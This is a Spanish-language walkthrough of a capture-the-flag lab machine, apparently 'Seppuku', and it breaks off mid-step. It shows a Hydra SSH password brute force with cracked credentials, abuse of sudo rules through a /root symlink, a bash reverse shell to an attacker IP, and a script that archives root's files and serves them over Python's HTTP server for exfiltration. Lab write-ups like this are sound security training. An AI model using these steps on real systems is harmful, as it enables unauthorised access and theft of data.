Pero de todo esto nos centraremos en el nombre de usuario que sabemos que es el hostname seppuku y con el diccionario de palabras que encontramos tiramos un hydra...
hydra-lseppuku-P<WORDLIST>ssh://<IP>-t64
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-14 03:48:46
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 92 login tries (l:1/p:92), ~2 tries per task
[DATA] attacking ssh://192.168.195.137:22/
[22][ssh] host: 192.168.195.137 login: seppuku password: eeyoree
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 23 final worker threads did not complete until end.
[ERROR] 23 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-14 03:48:52
Credentials:
User = seppuku
Password = eeyoree
Y con esto entrariamos por ssh..
sshseppuku@<IP>
Si haces sudo -l veras lo siguiente...
Matching Defaults entries for seppuku on seppuku:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User seppuku may run the following commands on seppuku:
(ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/
Yo en mi caso al ver eso hice lo siguiente, lo cual mas adelante no me sirve de mucho pero si para escalar de otras formas...
sudoln-sf/root//tmp/
Con eso creas un enlace directo a la carpeta entera de root
Despues si en la misma home leemos un archivo llamado .passwd pondria lo siguiente...
12345685213456!@!@A
Esa es una contraseña del usuario samurai y para entrar al usuario tanto se tiene que utilizar la id_rsa que encontramos anteriormente...
Tanto
chmod600id_rsa
ssh-iid_rsatanto@<IP>
Y ya estariamos dentro de tanto dentro de este usuario crearemos las siguientes carpetas y archivos para luego ejecutarlos con samurai...
mkdir.cgi_bin
Dentro de la misma...
nanobin#Dentro de nano#!/bin/bashsh-i>&/dev/tcp/<IP>/<PORT>0>&1
Y ahora llendonos al usuario samurai en /tmp/ creamos un archivo sin funcionalidad...
nanoscript.sh#Dentro de nano#!/bin/bashecho'HOLA'
Por que si hacemos sudo -l en ese usuario veremos los siguiente...
Matching Defaults entries for samurai on seppuku:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User samurai may run the following commands on seppuku:
(ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
Por lo que hacemos lo siguiente teniendo todo esto...
En el usuario sepuku teniendo los permisos de sudo -l...
Matching Defaults entries for seppuku on seppuku:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User seppuku may run the following commands on seppuku:
(ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/
Por lo que haremos lo siguiente...
sudoln-sf/root//tmp/
En el usuario samurai si le hacemos sudo -l veremos lo siguiente...
Matching Defaults entries for samurai on seppuku:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User samurai may run the following commands on seppuku:
(ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
Creamos un archivo "inutil" en /tmp que luego veremos por que... (OPCIONAL)
nanoscript.sh#Dentro de nano#!/bin/bashecho'HOLA'
Si nos vamos al usuario tanto tendremos que crear la ruta del sudo -l de 'samurai'...
mkdir.cgi_bin#Dentro de .cgi_bin/nanobin#Dentro de nano#!/bin/bashtar-czhvf/home/tanto/.cgi_bin/root.tar.gz-C/tmprootpython3-mhttp.server
Lo que hacemos es comrpimir el contenido del enlace simbolico (/root/) y llevarlo a la carpeta de /.cgi_bin/ y en el usuario samurai tendremos que ir tambien a /.cgi_bin/ para que cuando se comprima esa carpeta automaticamente se abra un servidor de python y te lo puedas pasar a tu host...
Cuando haya hecho ese bin en el usuario samurai ejecutamos lo siguiente...